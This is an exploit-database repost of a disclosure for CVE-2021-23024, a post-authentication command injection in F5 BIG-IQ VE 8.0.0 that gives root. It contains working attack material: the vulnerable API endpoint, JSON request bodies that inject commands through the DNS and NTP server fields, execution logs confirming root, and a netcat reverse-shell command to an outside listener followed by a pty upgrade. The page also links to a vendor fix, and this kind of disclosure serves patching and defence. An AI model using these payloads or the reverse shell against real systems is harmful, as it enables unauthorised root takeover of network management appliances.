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F5 BIG-IQ VE 8.0.0-2923215 Remote Root

CVE Category Price Severity
CVE-2021-23024 CWE-798 Not specified Critical
Author Risk Exploitation Type Date
Orange Tsai High Remote 2021-06-24
CPE
cpe:cpe:/a:f5networks:big-iq:8.0.0
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021060137

Below is a copy:

F5 BIG-IQ VE 8.0.0-2923215 Remote Root
F5 BIG-IQ VE v8.0.0-2923215 Post-auth Remote Root RCE

CVE-2021-23024

=======
Details
=======

It was possible to execute commands with root privileges as an authenticated privileged user via command injection in easy-setup-test-connection.

There are two blind command injection bugs in Test DNS Connection and Test NTP Connection features, which make request to mgmt/shared/system/easy-setup-test-connection.

User accounts tested for calling the API:

- Admin
- User + Administrator Role

SSH is enabled by default for the root user, but the system does not intend the admin account to gain a shell access:

admin:x:0:500:Admin User:/home/admin:/bin/false

But an admin (or a user with admin-like privileges) can elevate privileges to root and gain a shell via command injection in the web portal.

=====
Repro
=====

https://bigiq/ui/system/this-device/dns-ntp/dns-ntp-edit

Modify and replay back the dnsServerAddresses JSON field.

=======
Request
=======

PUT /mgmt/shared/system/easy-setup-test-connection HTTP/1.1
X-F5-Auth-Token: eyJraW.....
.....

{"dnsServerAddresses":["$(id>/tmp/id)"],"ntpServerAddresses":[]}

or

{"dnsServerAddresses":["8.8.8.8"],"ntpServerAddresses":["$(whoami)"]}

========
Response
========

HTTP/1.1 400 Bad Request
Server: webd
.....

{"code":400,"message":"Dns $(id>/tmp/id) is not valid\n","originalRequestBody":"{\"dnsServerAddresses\":[\"$(id>/tmp/id)\"],\"ntpServerAddresses\":[]}","referer":"https://bigiq/ui/system/this-device/dns-ntp/dns-ntp-edit","restOperationId":2101063,"errorStack":[],"kind":":resterrorresponse"}

and repectively

{"code":400,"message":"NTP $(whoami) is not valid\n","originalRequestBody":"{\"dnsServerAddresses\":[\"8.8.8.8\"],\"ntpServerAddresses\":[\"$(whoami)\"]}","referer":"https://bigiq/ui/system/this-device/dns-ntp/dns-ntp-edit","restOperationId":2149253,"errorStack":[],"kind":":resterrorresponse"}

=============
Execution Log
=============

DNS:

pid=7349 executed [/bin/sh -c  dig +short +time=5 +tries=1 @$(id>/tmp/id) ]
pid=7351 executed [id ]
pid=7349 executed [dig +short +time=5 +tries=1 @ ]

[root@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] config # cat /tmp/id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0

NTP:

pid=1288 executed [/bin/sh -c dig +short +time=5 +tries=1 @8.8.8.8  $(whoami) ]
pid=1290 executed [whoami ]
pid=1288 executed [dig +short +time=5 +tries=1 @8.8.8.8 root ]

============
Exploitation
============

The netcat binary with -e support is installed on the system already making a remote shell easy for demo.

A command such as this will provide the connection to our client listener: "nc 10.0.0.100 5000 -e /bin/bash" while on the client we will drop into a root shell on the bigiq server.

$ nc -l -p 5000
... connection receieved

python -c 'import pty; pty.spawn("/bin/bash")'

[@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] restjavad # pwd

/var/service/restjavad

[@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] restjavad # id

uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0

[@big:ModuleNotLicensed::LICENSE INOPERATIVE:Standalone] restjavad # ps
.....
32320 ?        S      0:00 su elasticsearch -s /bin/bash -c export JAVA_HOME=/usr/lib/jvm/jre-1.8.0-openjdk.x86_64;export ES_JAVA_OPTS='-Xms6000m -Xmx6000m';export ES_PATH_CONF=/var/config/rest/elasticsearch/config;exec bin/elasticsearch >/dev/null 2>&1
32335 tty1     S      0:00 python -c import pty; pty.spawn("/bin/bash")
32336 pts/0    Ss     0:00 /bin/bash

===
Fix
===

https://support.f5.com/csp/article/K06024431

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